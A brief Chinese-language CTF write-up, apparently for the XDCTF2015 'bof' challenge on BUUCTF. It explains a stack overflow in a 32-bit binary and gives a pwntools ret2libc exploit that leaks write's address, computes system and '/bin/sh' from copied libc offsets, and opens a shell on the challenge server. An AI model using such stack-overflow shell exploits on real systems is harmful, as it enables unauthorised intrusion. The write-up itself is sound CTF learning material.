# 1. 查看程序
32 位程序,开启了 NX
ida32 查看
main:
vuln:
# 2. 漏洞分析
可以发现 read 读入的字节数可以导致栈溢出,但是没有后门函数,我们可以进行泄露 libc 来 getshell,这里利用 LibcSearcher 没有找到对应的 libc,然后就用了 DynELF 方法,来找到 system 地址,但是还是没有成功
# 3.exp
最后利用别人的偏移量才成功,泄露的地址是对的,但是都找不到正确的偏移量就用了别人的
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
e=ELF('./bof') | |
p=remote('node4.buuoj.cn',29207) | |
write_got=e.got["write"] | |
write_plt=e.plt["write"] | |
main_add=e.sym["main"] | |
payload=b"a"*(0x6c+4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(5) | |
p.sendline(payload) | |
p.recvuntil("Welcome to XDCTF2015~!\n") | |
write=u32(p.recvuntil('\xf7')[-4:]) | |
print("write:",hex(write)) | |
libc_base=write-0xd43c0 | |
system = 0x3a940 + libc_base | |
bin_sh = 0x15902b + libc_base | |
p.recvuntil("Welcome to XDCTF2015~!\n") | |
payload2=b"a"*(0x6c+4)+p32(system)+p32(main_add)+p32(bin_sh) | |
p.send(payload2) | |
p.interactive() |
【还有一个方法是用 ret2dl_resolve
解决】